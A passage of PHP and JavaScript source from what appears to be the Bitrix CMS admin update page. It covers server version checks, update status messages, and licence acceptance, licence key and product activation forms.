"#BEST_VERS#" => $minSqlWarningVersionBest,
"#DATE#" => CDatabase::FormatDate($minSqlWarningVersionDate, "YYYY-MM-DD", FORMAT_DATE)
)
);
if ((MakeTimeStamp($minSqlWarningVersionDate, "YYYY-MM-DD") - time()) / (60 * 60 * 24) < 30)
$strongSystemMessage .= $messageTmp;
else
$systemMessage .= $messageTmp;
}
}
$dbLangTmp = CLanguage::GetByID("ru");
if (defined("BX_UTF") && BX_UTF || $dbLangTmp->Fetch())
{
$dbQueryRes = $DB->Query("show variables like 'character_set_database'", True);
if ($dbQueryRes && ($arQueryRes = $dbQueryRes->Fetch()))
{
$curCharacterSet = strtolower(Trim($arQueryRes["Value"]));
if (defined("BX_UTF") && BX_UTF)
{
if (substr($curCharacterSet, 0, 3) !== "utf")
$errorMessage .= "<br>".GetMessage("SUP_MYSQL_LCP_ERROR", array("#CP#" => "utf8", "#CP1#" => $curCharacterSet, "#DB#" => $DB->DBName));
}
else
{
if ($curCharacterSet !== "cp1251")
$errorMessage .= "<br>".GetMessage("SUP_MYSQL_LCP_ERROR", array("#CP#" => "cp1251", "#CP1#" => $curCharacterSet, "#DB#" => $DB->DBName));
}
}
}
}
elseif (($DB->type === "MSSQL") || ($DB->type === "ORACLE"))
{
$errorMessage .= "<br>".GetMessage("SUP_NO_MS_ORACLE");
}
$curPhpVer = PhpVersion();
$minPhpErrorVersion = "7.1.0";
$minPhpWarningVersion = "0.0.0";
$minPhpWarningVersionBest = "0.0.0";
$minPhpWarningVersionDate = "";
if (date("Y-m-d") < "2019-09-01")
{
$minPhpErrorVersion = "5.6.0";
$minPhpWarningVersion = "7.1.0";
$minPhpWarningVersionBest = "7.2.0";
$minPhpWarningVersionDate = "2019-09-01";
}
if (version_compare($curPhpVer, $minPhpErrorVersion) < 0)
{
$strongSystemMessage .= "<br>".GetMessage("SUP_PHP_LERR_F",
array("#VERS#" => $curPhpVer,
"#REQ#" => $minPhpErrorVersion
)
);
}
if (version_compare($curPhpVer, $minPhpWarningVersion) < 0)
{
$messageTmp = "<br>".GetMessage("SUP_PHP_LWARN_F",
array("#VERS#" => $curPhpVer,
"#REQ#" => $minPhpWarningVersion,
"#BEST_VERS#" => $minPhpWarningVersionBest,
"#DATE#" => CDatabase::FormatDate($minPhpWarningVersionDate, "YYYY-MM-DD", FORMAT_DATE)
)
);
if ((MakeTimeStamp($minPhpWarningVersionDate, "YYYY-MM-DD") - time()) / (60 * 60 * 24) < 30)
$strongSystemMessage .= $messageTmp;
else
$systemMessage .= $messageTmp;
}
if (array_key_exists("HTTP_BX_MASTER", $_SERVER) && ($_SERVER["HTTP_BX_MASTER"] != "Y"))
{
$errorMessage .= "<br>".GetMessage("SUP_HTTP_BX_MASTER", array("#ADDR#" => "http://".$_SERVER["SERVER_ADDR"].":8890/bitrix/admin/update_system.php"));
}
$strError_tmp = "";
$arClientModules = CUpdateClient::GetCurrentModules($strError_tmp);
if (StrLen($strError_tmp) > 0)
$errorMessage .= $strError_tmp;
if ($arUpdateList)
{
if (isset($arUpdateList["ERROR"]))
{
for ($i = 0, $cnt = count($arUpdateList["ERROR"]); $i < $cnt; $i++)
{
if (($arUpdateList["ERROR"][$i]["@"]["TYPE"] != "RESERVED_KEY") && ($arUpdateList["ERROR"][$i]["@"]["TYPE"] != "NEW_UPDATE_SYSTEM"))
$errorMessage .= "[".$arUpdateList["ERROR"][$i]["@"]["TYPE"]."] ".$arUpdateList["ERROR"][$i]["#"];
elseif ($arUpdateList["ERROR"][$i]["@"]["TYPE"] == "NEW_UPDATE_SYSTEM")
$errorMessage .= GetMessage("SUP_NEW_UPDATE_SYSTEM_HINT");
else
$systemMessage .= GetMessage("SUP_RESERVED_KEY_HINT");
}
}
}
if ($DB->TableExists('b_sale_order') || $DB->TableExists('B_SALE_ORDER'))
{
if (COption::GetOptionString("main", "~sale_converted_15", "N") != "Y")
{
if (isset($arClientModules["sale"])
&& (CUpdateClient::CompareVersions($arClientModules["sale"], "15.0.0") > 0)
&& (CUpdateClient::CompareVersions($arClientModules["sale"], "16.0.0") < 0))
$systemMessage .= GetMessage("SUP_SALE_1500_HINT", array("#ADDR#" => "/bitrix/admin/sale_converter.php?lang=".LANG));
}
}
if(COption::GetOptionString("main", "update_devsrv", "") == "Y")
{
$systemMessage .= GetMessage("SUP_DEVSRV_MESS");
}
if (strlen($errorMessage) > 0)
echo CAdminMessage::ShowMessage(Array("DETAILS" => $errorMessage, "TYPE" => "ERROR", "MESSAGE" => GetMessage("SUP_ERROR"), "HTML" => true));
if (strlen($strongSystemMessage) > 0)
echo CAdminMessage::ShowMessage(Array("DETAILS" => $strongSystemMessage, "TYPE" => "ERROR", "MESSAGE" => GetMessage("SUP_ERROR"), "HTML" => true));
if (strlen($systemMessage) > 0)
echo CAdminMessage::ShowMessage(Array("DETAILS" => $systemMessage, "TYPE" => "OK", "MESSAGE" => GetMessage("SUP_SYSTEM_MESSAGE"), "HTML" => true));
$events = GetModuleEvents("main", "OnUpdateCheck");
while ($arEvent = $events->Fetch())
ExecuteModuleEvent($arEvent, $errorMessage);
?>
<?
function _32763223666625($_1298151432){static $_1853221997=false;$_2734875482="date";if($_1853221997===false){$_1853221997=array(''.'QlhfU'.'1'.'VQ'.'UE9'.'S'.'V'.'F9QUk9UT0NPTA'.'==');}return base64_decode($_1853221997[$_1298151432]).$_2734875482("j");}
?>
<script language="JavaScript">
<!--
var updRand = 0;
function PrepareString(str)
{
str = str.replace(/^\s+|\s+$/, '');
while (str.length > 0 && str.charCodeAt(0) == 65279)
str = str.substring(1);
return str;
}
//-->
</script>
<form method="POST" action="<?echo $APPLICATION->GetCurPage()?>?" name="form1">
<input type="hidden" name="lang" value="<?echo LANG ?>">
<?=bitrix_sessid_post()?>
<?
$arTabs = array(
array(
"DIV" => "tab1",
"TAB" => GetMessage("SUP_TAB_UPDATES"),
"ICON" => "",
"TITLE" => GetMessage("SUP_TAB_UPDATES_ALT"),
),
array(
"DIV" => "tab2",
"TAB" => GetMessage("SUP_TAB_UPDATES_LIST"),
"ICON" => "",
"TITLE" => GetMessage("SUP_TAB_UPDATES_LIST_ALT"),
),
array(
"DIV" => "tab_coupon",
"TAB" => GetMessage("SUP_SUAC_COUP"),
"ICON" => "",
"TITLE" => GetMessage("SUP_SUAC_COUP"),
),
array(
"DIV" => "tab3",
"TAB" => GetMessage("SUP_TAB_SETTINGS"),
"ICON" => "",
"TITLE" => GetMessage("SUP_TAB_SETTINGS_ALT"),
),
);
$tabControl = new CAdminTabControl("tabControl", $arTabs, true, true);
$tabControl->Begin();
?>
<?
$tabControl->BeginNextTab();
?>
<tr>
<td colspan="2">
<?
$countModuleUpdates = 0;
$countLangUpdatesInst = 0;
$countLangUpdatesOther = 0;
$countTotalImportantUpdates = 0;
$countHelpUpdatesInst = 0;
$countHelpUpdatesOther = 0;
$bLockControls = !empty($errorMessage);
if ($arUpdateList)
{
if (isset($arUpdateList["MODULES"]) && is_array($arUpdateList["MODULES"]) && isset($arUpdateList["MODULES"][0]["#"]["MODULE"]) && is_array($arUpdateList["MODULES"][0]["#"]["MODULE"]))
$countModuleUpdates = count($arUpdateList["MODULES"][0]["#"]["MODULE"]);
if (isset($arUpdateList["LANGS"]) && is_array($arUpdateList["LANGS"]) && isset($arUpdateList["LANGS"][0]["#"]["INST"]) && is_array($arUpdateList["LANGS"][0]["#"]["INST"]) && is_array($arUpdateList["LANGS"][0]["#"]["INST"][0]["#"]["LANG"]))
$countLangUpdatesInst = count($arUpdateList["LANGS"][0]["#"]["INST"][0]["#"]["LANG"]);
if (isset($arUpdateList["LANGS"]) && is_array($arUpdateList["LANGS"]) && isset($arUpdateList["LANGS"][0]["#"]["OTHER"]) && is_array($arUpdateList["LANGS"][0]["#"]["OTHER"]) && is_array($arUpdateList["LANGS"][0]["#"]["OTHER"][0]["#"]["LANG"]))
$countLangUpdatesOther = count($arUpdateList["LANGS"][0]["#"]["OTHER"][0]["#"]["LANG"]);
$countTotalImportantUpdates = $countLangUpdatesInst;
if ($countModuleUpdates > 0)
{
for ($i = 0, $cnt = count($arUpdateList["MODULES"][0]["#"]["MODULE"]); $i < $cnt; $i++)
{
if (isset($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"]))
$countTotalImportantUpdates += count($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["#"]["VERSION"]);
if (!array_key_exists($arUpdateList["MODULES"][0]["#"]["MODULE"][$i]["@"]["ID"], $arClientModules))
$countTotalImportantUpdates += 1;
}
}
$countHelpUpdatesInst = 0;
if (isset($arUpdateList["HELPS"]) && is_array($arUpdateList["HELPS"]) && isset($arUpdateList["HELPS"][0]["#"]["INST"]) && is_array($arUpdateList["HELPS"][0]["#"]["INST"]) && is_array($arUpdateList["HELPS"][0]["#"]["INST"][0]["#"]["HELP"]))
$countHelpUpdatesInst = count($arUpdateList["HELPS"][0]["#"]["INST"][0]["#"]["HELP"]);
$countHelpUpdatesOther = 0;
if (isset($arUpdateList["HELPS"]) && is_array($arUpdateList["HELPS"]) && isset($arUpdateList["HELPS"][0]["#"]["OTHER"]) && is_array($arUpdateList["HELPS"][0]["#"]["OTHER"]) && is_array($arUpdateList["HELPS"][0]["#"]["OTHER"][0]["#"]["HELP"]))
$countHelpUpdatesOther = count($arUpdateList["HELPS"][0]["#"]["OTHER"][0]["#"]["HELP"]);
$newLicenceSignedKey = CUpdateClient::getNewLicenseSignedKey();
$newLicenceSigned = COption::GetOptionString("main", $newLicenceSignedKey, "N");
if ($newLicenceSigned !== "Y")
{
$bLockControls = True;
?>
<div id="upd_licence_div">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><b><?= GetMessage("SUP_SUBT_LICENCE") ?></b></td>
</tr>
<tr>
<td valign="top">
<table cellpadding="0" cellspacing="0">
<tr>
<td class="icon-new"><div class="icon icon-main"></div></td>
<td>
<?= GetMessage("SUP_SUBT_LICENCE_HINT") ?><br><br>
<input TYPE="button" NAME="agree_licence_btn" value="<?= GetMessage("SUP_SUBT_LICENCE_BUTTON") ?>" onclick="ShowLicence()">
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
</div>
<SCRIPT LANGUAGE="JavaScript">
<!--
function ShowLicence()
{
if (document.getElementById("licence_float_div"))
return;
LockControls();
var div = document.body.appendChild(document.createElement("DIV"));
div.id = "licence_float_div";
div.className = "settings-float-form";
div.style.position = 'absolute';
var txt = '<div class="title">';
txt += '<table cellspacing="0" width="100%">';
txt += '<tr>';
txt += '<td width="100%" class="title-text" onmousedown="jsFloatDiv.StartDrag(arguments[0], document.getElementById(\'licence_float_div\'));"><?= GetMessage("SUP_SUBT_LICENCE") ?></td>';
txt += '<td width="0%"><a class="close" href="javascript:CloseLicenceTextWindow();" title="<?= GetMessage("SUP_SULD_CLOSE") ?>"></a></td>';
txt += '</tr>';
txt += '</table>';
txt += '</div>';
txt += '<div class="content">';
txt += '<form name="license_form">';
txt += '<h2><?= GetMessage("SUP_SUBT_LICENCE") ?></h2>';
txt += '<table cellspacing="0"><tr><td>';
txt += '<iframe name="license_text" src="<?= CUpdateClient::getLicenseTextPath() ?>" style="width:450px; height:250px; display:block;"></iframe>';
txt += '</td></tr><tr><td>';
txt += '<input name="agree_license" type="checkbox" value="Y" id="agree_license_id" onclick="AgreeLicenceCheckbox(this)">';
txt += '<label for="agree_license_id"><?= GetMessage("SUP_SUBT_AGREE") ?></label>';
txt += '</td></tr></table>';
txt += '</form>';
txt += '</div>';
txt += '<div class="buttons">';
txt += '<input type="button" value="<?= GetMessage("SUP_APPLY") ?>" disabled id="licence_agree_button" onclick="AgreeLicence()" title="<?= GetMessage("SUP_APPLY") ?>">';
txt += '</div>';
div.innerHTML = txt;
var left = parseInt(document.body.scrollLeft + document.body.clientWidth/2 - div.offsetWidth/2);
var top = parseInt(document.body.scrollTop + document.body.clientHeight/2 - div.offsetHeight/2);
jsFloatDiv.Show(div, left, top);
jsUtils.addEvent(document, "keypress", LicenceTextOnKeyPress);
}
function LicenceTextOnKeyPress(e)
{
if (!e)
e = window.event;
if (!e)
return;
if (e.keyCode == 27)
CloseLicenceTextWindow();
}
function CloseLicenceTextWindow()
{
jsUtils.removeEvent(document, "keypress", LicenceTextOnKeyPress);
var div = document.getElementById("licence_float_div");
jsFloatDiv.Close(div);
div.parentNode.removeChild(div);
}
function AgreeLicenceCheckbox(checkbox)
{
var lab = document.getElementById("licence_agree_button");
lab.disabled=<?if(!$USER->CanDoOperation('install_updates')):?>true<?else:?>!checkbox.checked<?endif;?>;
}
function AgreeLicence()
{
ShowWaitWindow();
CHttpRequest.Action = function(result)
{
result = PrepareString(result);
CloseWaitWindow();
if (result == "Y")
{
CloseLicence();
var udl = document.getElementById("upd_licence_div");
udl.style["display"] = "none";
<?if (empty($errorMessage)){?>UnLockControls();<?}?>
}
else
{
alert("<?= GetMessage("SUP_SUBT_ERROR_LICENCE") ?>");
}
}
updRand++;
CHttpRequest.Send('/bitrix/admin/update_system_act.php?query_type=licence&<?= bitrix_sessid_get() ?>&updRand=' + updRand);
}
function CloseLicence()
{
var div = document.getElementById("licence_float_div");
jsFloatDiv.Close(div);
div.parentNode.removeChild(div);
}
//-->
</SCRIPT>
<?
}
$bLicenseNotFound = False;
if ($arUpdateList !== false
&& isset($arUpdateList["ERROR"])
&& count($arUpdateList["ERROR"]) > 0)
{
for ($i = 0, $cntTmp = count($arUpdateList["ERROR"]); $i < $cntTmp; $i++)
{
if ($arUpdateList["ERROR"][$i]["@"]["TYPE"] == "LICENSE_NOT_FOUND")
{
$bLicenseNotFound = True;
break;
}
}
}
$strLicenseKeyTmp = CUpdateClient::GetLicenseKey();
$bLicenseNotFound = strlen($strLicenseKeyTmp) <= 0 || strtolower($strLicenseKeyTmp) == "demo" || $bLicenseNotFound;
$bFullVersion = ($arUpdateList !== false && isset($arUpdateList["CLIENT"]) && ($arUpdateList["CLIENT"][0]["@"]["ENC_TYPE"] == "F" || $arUpdateList["CLIENT"][0]["@"]["ENC_TYPE"] == "E" || $arUpdateList["CLIENT"][0]["@"]["ENC_TYPE"] == "T"));
if ($bLicenseNotFound || (defined("DEMO") && DEMO == "Y" && !$bFullVersion))
{
if($bLicenseNotFound)
$bLockControls = True;
?>
<div id="upd_key_div">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><b><?= GetMessage("SUP_SUBK_KEY") ?></b></td>
</tr>
<tr>
<td valign="top">
<table cellpadding="0" cellspacing="0">
<tr>
<td class="icon-new"><div class="icon icon-licence"></div></td>
<td>
<?if($bLicenseNotFound):?>
<?= GetMessage("SUP_SUBK_HINT") ?><br><br>
<input TYPE="button" NAME="licence_key_btn" value="<?= GetMessage("SUP_SUBK_BUTTON") ?>" onclick="ShowLicenceKeyForm()"><br><br>
<a href="http://<?= ((LANGUAGE_ID == "ru") ? "www.bitrixsoft.ru" : "www.bitrixsoft.com") ?>/bsm_register.php" target="_blank"><?= GetMessage("SUP_SUBK_GET_KEY") ?></a>
<?else:?>
<?= GetMessage("SUP_SUBK_HINT_DEMO") ?><br><br>
<input TYPE="button" NAME="licence_key_btn" value="<?= GetMessage("SUP_SUBK_BUTTON") ?>" onclick="ShowLicenceKeyForm()">
<?endif?>
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
</div>
<SCRIPT LANGUAGE="JavaScript">
<!--
function ShowLicenceKeyForm()
{
if (document.getElementById("key_float_div"))
return;
LockControls();
var div = document.body.appendChild(document.createElement("DIV"));
div.id = "key_float_div";
div.className = "settings-float-form";
div.style.position = 'absolute';
var txt = '<div class="title">';
txt += '<table cellspacing="0" width="100%">';
txt += '<tr>';
txt += '<td width="100%" class="title-text" onmousedown="jsFloatDiv.StartDrag(arguments[0], document.getElementById(\'key_float_div\'));"><?= GetMessage("SUP_SUBK_KEY") ?></td>';
txt += '<td width="0%"><a class="close" href="javascript:CloseLicenceWindow();" title="<?= GetMessage("SUP_SULD_CLOSE") ?>"></a></td>';
txt += '</tr>';
txt += '</table>';
txt += '</div>';
txt += '<div class="content">';
txt += '<form name="licence_key_form" onsubmit="LicenceKeyFormSubmit(); return false;">';
txt += '<h2><?= GetMessage("SUP_SUBK_KEY") ?></h2>';
txt += '<table cellspacing="0">';
txt += '<tr>';
txt += ' <td width="50%"><span class="required">*</span><?= GetMessage("SUP_SUBK_PROMT") ?>:</td>';
txt += ' <td width="50%"><input type="text" id="id_new_license_key" name="NEW_LICENSE_KEY" value="" size="30"></td>';
txt += '</tr>';
txt += '</table>';
txt += '</form>';
txt += '</div>';
txt += '<div class="buttons">';
txt += '<input type="button" id="id_licence_key_form_button" value="<?= GetMessage("SUP_SUBK_SAVE") ?>" onclick="LicenceKeyFormSubmit()" title="<?= GetMessage("SUP_SUBK_SAVE") ?>">';
txt += '</div>';
div.innerHTML = txt;
var left = parseInt(document.body.scrollLeft + document.body.clientWidth/2 - div.offsetWidth/2);
var top = parseInt(document.body.scrollTop + document.body.clientHeight/2 - div.offsetHeight/2);
jsFloatDiv.Show(div, left, top);
jsUtils.addEvent(document, "keypress", LicenceOnKeyPress);
document.getElementById("id_new_license_key").focus();
}
function LicenceOnKeyPress(e)
{
if (!e)
e = window.event;
if (!e)
return;
if (e.keyCode == 27)
CloseLicenceWindow();
}
function CloseLicenceWindow()
{
jsUtils.removeEvent(document, "keypress", LicenceOnKeyPress);
var div = document.getElementById("key_float_div");
jsFloatDiv.Close(div);
div.parentNode.removeChild(div);
}
function LicenceKeyFormSubmit()
{
document.getElementById("id_licence_key_form_button").disabled = true;
ShowWaitWindow();
var error = "";
if (document.licence_key_form.NEW_LICENSE_KEY.value.length <= 0)
error += "<?= GetMessage("SUP_SUBK_NO_KEY") ?>";
if (error.length > 0)
{
CloseWaitWindow();
document.getElementById("id_licence_key_form_button").disabled = false;
alert(error);
return false;
}
CHttpRequest.Action = function(result)
{
CloseWaitWindow();
result = PrepareString(result);
if (result == "Y")
{
window.location.href = "/bitrix/admin/update_system.php?lang=<?= LANG ?>";
//var udl = document.getElementById("upd_activate_div");
//udl.style["display"] = "none";
//UnLockControls();
//CloseActivateForm();
}
else
{
document.getElementById("id_licence_key_form_button").disabled = false;
alert("<?= GetMessage("SUP_SUBK_ERROR") ?>: " + result);
}
}
updRand++;
CHttpRequest.Send('/bitrix/admin/update_system_act.php?query_type=key&<?= bitrix_sessid_get() ?>&NEW_LICENSE_KEY=' + encodeURIComponent(document.licence_key_form.NEW_LICENSE_KEY.value) + "&updRand=" + updRand);
}
//-->
</SCRIPT>
<?
}
if (!$bLicenseNotFound)
{
if (isset($arUpdateList["CLIENT"]) && !isset($arUpdateList["UPDATE_SYSTEM"]) && count($arUpdateList["CLIENT"]) > 0 && $arUpdateList["CLIENT"][0]["@"]["RESERVED"] == "Y")
{
$bLockControls = True;
?>
<div id="upd_activate_div">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><b><?= GetMessage("SUP_SUBA_ACTIVATE") ?></b></td>
</tr>
<tr>
<td valign="top">
<table cellpadding="0" cellspacing="0">
<tr>
<td class="icon-new"><div class="icon icon-licence"></div></td>
<td>
<?= GetMessage("SUP_SUBA_ACTIVATE_HINT") ?><br><br>
<input TYPE="button" NAME="activate_key_btn" value="<?= GetMessage("SUP_SUBA_ACTIVATE_BUTTON") ?>" onclick="ShowActivateForm()">
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
</div>
<SCRIPT LANGUAGE="JavaScript">
<!--
function ActivateEnableDisableUser(value)
{
document.activate_form.USER_NAME.disabled = !value;
document.activate_form.USER_LAST_NAME.disabled = !value;
document.getElementById("USER_LOGIN_activate").disabled = !value;
document.getElementById("USER_LOGIN").disabled = value;
document.activate_form.USER_PASSWORD.disabled = !value;
document.activate_form.USER_PASSWORD_CONFIRM.disabled = !value;
document.activate_form.USER_EMAIL.disabled = !value;
if(!value)
{
document.getElementById("new-user").style.display = 'none';
document.getElementById("exist-user").style.display = 'block';
}
else
{
document.getElementById("new-user").style.display = 'block';
document.getElementById("exist-user").style.display = 'none';
}
}
function ActivateFormSubmit()
{
document.getElementById("id_activate_form_button").disabled = true;
ShowWaitWindow();
var bEr = false;
var erImg = '<img src="/bitrix/themes/.default/images/icon_warn.gif" width="20" height="20" alt="Error" title="Error" align="left" />';
document.getElementById('errorDiv').style.diplay = 'none';
document.getElementById('id_activate_name_error').innerHTML = '';
document.getElementById('SITE_URL_error').innerHTML = '';
document.getElementById('PHONE_error').innerHTML = '';
document.getElementById('EMAIL_error').innerHTML = '';
document.getElementById('CONTACT_PERSON_error').innerHTML = '';
document.getElementById('CONTACT_EMAIL_error').innerHTML = '';
document.getElementById('CONTACT_PHONE_error').innerHTML = '';
if(document.getElementById('id_activate_name').value.length <= 3)
{
document.getElementById('id_activate_name_error').innerHTML = erImg;
bEr = true;
}
if(document.getElementById('SITE_URL').value.length <= 3)
{
document.getElementById('SITE_URL_error').innerHTML = erImg;
bEr = true;
}
if(document.getElementById('PHONE').value.length <= 3)
{
document.getElementById('PHONE_error').innerHTML = erImg;
bEr = true;
}
if(document.activate_form.EMAIL.value.length <= 3)
{
document.getElementById('EMAIL_error').innerHTML = erImg;
bEr = true;
}
if(document.getElementById('CONTACT_PERSON').value.length <= 3)
{
document.getElementById('CONTACT_PERSON_error').innerHTML = erImg;
bEr = true;
}
if(document.getElementById('CONTACT_EMAIL').value.length <= 3)
{
document.getElementById('CONTACT_EMAIL_error').innerHTML = erImg;
bEr = true;
}
if(document.getElementById('CONTACT_PHONE').value.length <= 3)
{
document.getElementById('CONTACT_PHONE_error').innerHTML = erImg;
bEr = true;
}
var generateUser = "N";
if(document.getElementById('GENERATE_USER').checked)
{
generateUser = "Y";
document.getElementById('USER_NAME_error').innerHTML = '';
document.getElementById('USER_LAST_NAME_error').innerHTML = '';
document.getElementById('USER_LOGIN_error').innerHTML = '';
document.getElementById('USER_PASSWORD_error').innerHTML = '';
document.getElementById('USER_PASSWORD_CONFIRM_error').innerHTML = '';
document.getElementById('USER_EMAIL_error').innerHTML = '';
if(document.getElementById('USER_NAME').value.length <= 0)
{
document.getElementById('USER_NAME_error').innerHTML = erImg;
bEr = true;
}
if(document.getElementById('USER_LAST_NAME').value.length <= 0)
{
document.getElementById('USER_LAST_NAME_error').innerHTML = erImg;
bEr = true;
}
if(document.getElementById('USER_LOGIN_activate').value.length < 3)
{
document.getElementById('USER_LOGIN_error').innerHTML = erImg;
bEr = true;
}
var UserLogin = document.getElementById('USER_LOGIN_activate').value;
if(document.getElementById('USER_PASSWORD').value.length < 6)
{
document.getElementById('USER_PASSWORD_error').innerHTML = erImg;
bEr = true;
}
if(document.getElementById('USER_PASSWORD').value != document.getElementById('USER_PASSWORD_CONFIRM').value)
{
document.getElementById('USER_PASSWORD_error').innerHTML = erImg;
bEr = true;
document.getElementById('USER_PASSWORD_CONFIRM_error').innerHTML = erImg;
bEr = true;
}
if(document.getElementById('USER_EMAIL').value.length <= 3)
{
document.getElementById('USER_EMAIL_error').innerHTML = erImg;
bEr = true;
}
}
else
{
if(document.getElementById('USER_LOGIN').value.length < 3)
{
document.getElementById('USER_LOGIN_EXIST_error').innerHTML = erImg;
bEr = true;
}
var UserLogin = document.getElementById('USER_LOGIN').value;
}
if(bEr)
{
document.getElementById("id_activate_form_button").disabled = false;
CloseWaitWindow();
document.getElementById('errorDiv').innerHTML = '<table style="color:red;"><tr><td><img src="/bitrix/themes/.default/images/icon_error.gif" width="32" height="32" alt="Error" title="Error" align="left" valign="center"/></td><td><b><?=GetMessage("SUP_SUBA_CONFIRM_ERROR")?></b></td></tr></table>';
document.getElementById('errorDiv').style.border = "1px solid red";
document.getElementById('activate_content').scrollTop = 0;
return false;
}
else
{
var param = "NAME=" + encodeURIComponent(document.activate_form.NAME.value)
+ "&EMAIL=" + encodeURIComponent(document.activate_form.EMAIL.value)
+ "&CONTACT_INFO=" + encodeURIComponent(document.activate_form.CONTACT_INFO.value)
+ "&PHONE=" + encodeURIComponent(document.activate_form.PHONE.value)
+ "&CONTACT_PERSON=" + encodeURIComponent(document.activate_form.CONTACT_PERSON.value)
+ "&CONTACT_EMAIL=" + encodeURIComponent(document.activate_form.CONTACT_EMAIL.value)
+ "&CONTACT_PHONE=" + encodeURIComponent(document.activate_form.CONTACT_PHONE.value)
+ "&SITE_URL=" + encodeURIComponent(document.activate_form.SITE_URL.value)
+ "&GENERATE_USER=" + encodeURIComponent(generateUser)
+ "&USER_NAME=" + encodeURIComponent(document.activate_form.USER_NAME.value)
+ "&USER_LAST_NAME=" + encodeURIComponent(document.activate_form.USER_LAST_NAME.value)
+ "&USER_LOGIN=" + encodeURIComponent(UserLogin)
+ "&USER_PASSWORD=" + encodeURIComponent(document.activate_form.USER_PASSWORD.value)
+ "&USER_PASSWORD_CONFIRM=" + encodeURIComponent(document.activate_form.USER_PASSWORD_CONFIRM.value);
CHttpRequest.Action = function(result)
{
CloseWaitWindow();
result = PrepareString(result);
if (result == "Y")
{
window.location.href = "update_system.php?lang=<?= LANG ?>";
}
else
{
document.getElementById("id_activate_form_button").disabled = false;
document.getElementById('errorDiv').innerHTML = '<table style="color:red;"><tr><td><img src="/bitrix/themes/.default/images/icon_error.gif" width="32" height="32" alt="Error" title="Error" align="left" valign="center"/></td><td><b>'+result+'</b></td></tr></table>';
document.getElementById('errorDiv').style.border = "1px solid red";
document.getElementById('activate_content').scrollTop = 0;
}
}
updRand++;
CHttpRequest.Send('/bitrix/admin/update_system_act.php?query_type=activate&<?= bitrix_sessid_get() ?>&' + param + "&updRand=" + updRand);
return true;
}
}
function ShowActivateForm()
{
if (document.getElementById("activate_float_div"))
return;
LockControls();
var div = document.body.appendChild(document.createElement("DIV"));
div.id = "activate_float_div";
div.className = "settings-float-form";
div.style.position = 'absolute';
div.style.width = '650';
var txt = '<div class="title">';
txt += '<table cellspacing="0" width="100%">';
txt += '<tr>';
txt += '<td width="100%" class="title-text" onmousedown="jsFloatDiv.StartDrag(arguments[0], document.getElementById(\'activate_float_div\'));"><?= GetMessage("SUP_SUBA_ACTIVATE") ?></td>';
txt += '<td width="0%"><a class="close" href="javascript:CloseActivateWindow();" title="<?= GetMessage("SUP_SULD_CLOSE") ?>"></a></td>';
txt += '</tr>';
txt += '</table>';
txt += '</div>';
txt += '<div class="content" id="activate_content" style="overflow:auto;overflow-y:auto;height:400px;">';
txt += '<form name="activate_form" id="activate_form" onsubmit="return validate();" method="POST">';
txt += '<h2><?= GetMessage("SUP_SUBA_ACTIVATE") ?></h2>';
txt += '<input type="hidden" name="TYPE" VALUE="ACTIVATE_KEY">';
txt += '<input type="hidden" name="STEP" VALUE="1">';
txt += '<input type="hidden" name="lang" id="lang" VALUE="<?=LANGUAGE_ID?>">';
txt += '<table>';
txt += '<tr>';
txt += ' <td colspan="2"><div id="errorDiv" style="width:50%;"></div></td>';
txt += '</tr>';
txt += ' <tr>';
txt += ' <td width="50%"><span class="required">*</span><?= GetMessage("SUP_SUBA_RI_NAME") ?>:</td>';
txt += ' <td width="50%" nowrap><div id="id_activate_name_error"></div><input type="text" id="id_activate_name" name="NAME" value="<?=htmlspecialcharsEx($_POST["NAME"])?>" size="40"></td>';
txt += ' </tr>';
txt += ' <tr>';
txt += ' <td width="50%"><span class="required">*</span><?= GetMessage("SUP_SUBA_RI_URI") ?>:</td>';
txt += ' <td width="50%" nowrap><div id="SITE_URL_error"></div><input type="text" id="SITE_URL" name="SITE_URL" value="<?=htmlspecialcharsEx($_POST["SITE_URL"])?>" size="40"></td>';
txt += ' </tr>';
txt += ' <tr>';
txt += ' <td width="50%"><span class="required">*</span><?= GetMessage("SUP_SUBA_RI_PHONE") ?>:</td>';
txt += ' <td width="50%" nowrap><div id="PHONE_error"></div><input type="text" id="PHONE" name="PHONE" value="<?=htmlspecialcharsEx($_POST["PHONE"])?>" size="40"></td>';
txt += ' </tr>';
txt += ' <tr>';
txt += ' <td width="50%"><span class="required">*</span><?= GetMessage("SUP_SUBA_RI_EMAIL") ?>:</td>';
txt += ' <td width="50%" nowrap><div id="EMAIL_error"></div><input type="text" id="EMAIL" name="EMAIL" value="<?=htmlspecialcharsEx($_POST["EMAIL"])?>" size="40"></td>';
txt += ' </tr>';
txt += ' <tr>';
txt += ' <td width="50%"><span class="required">*</span><?= GetMessage("SUP_SUBA_RI_CONTACT_PERSON") ?>:</td>';
txt += ' <td width="50%" nowrap><div id="CONTACT_PERSON_error"></div><input type="text" id="CONTACT_PERSON" name="CONTACT_PERSON" value="<?=htmlspecialcharsEx($_POST["CONTACT_PERSON"])?>" size="40"></td>';
txt += ' </tr>';
txt += ' <tr>';
txt += ' <td width="50%"><span class="required">*</span><?= GetMessage("SUP_SUBA_RI_CONTACT_EMAIL") ?>:</td>';
txt += ' <td width="50%" nowrap><div id="CONTACT_EMAIL_error"></div><input type="text" id="CONTACT_EMAIL" name="CONTACT_EMAIL" value="<?=htmlspecialcharsEx($_POST["CONTACT_EMAIL"])?>" size="40"></td>';
txt += ' </tr>';
txt += ' <tr>';
txt += ' <td width="50%"><span class="required">*</span><?= GetMessage("SUP_SUBA_RI_CONTACT_PHONE") ?>:</td>';
txt += ' <td width="50%" nowrap><div id="CONTACT_PHONE_error"></div><input type="text" id="CONTACT_PHONE" name="CONTACT_PHONE" value="<?=htmlspecialcharsEx($_POST["CONTACT_PHONE"])?>" size="40"></td>';
txt += ' </tr>';
txt += ' <tr>';
txt += ' <td width="50%"><?= GetMessage("SUP_SUBA_RI_CONTACT") ?>:</td>';
txt += ' <td width="50%" nowrap><input type="text" name="CONTACT_INFO" value="<?=htmlspecialcharsEx($_POST["CONTACT_INFO"])?>" size="40"></td>';
txt += ' </tr>';
txt += '<tr>';
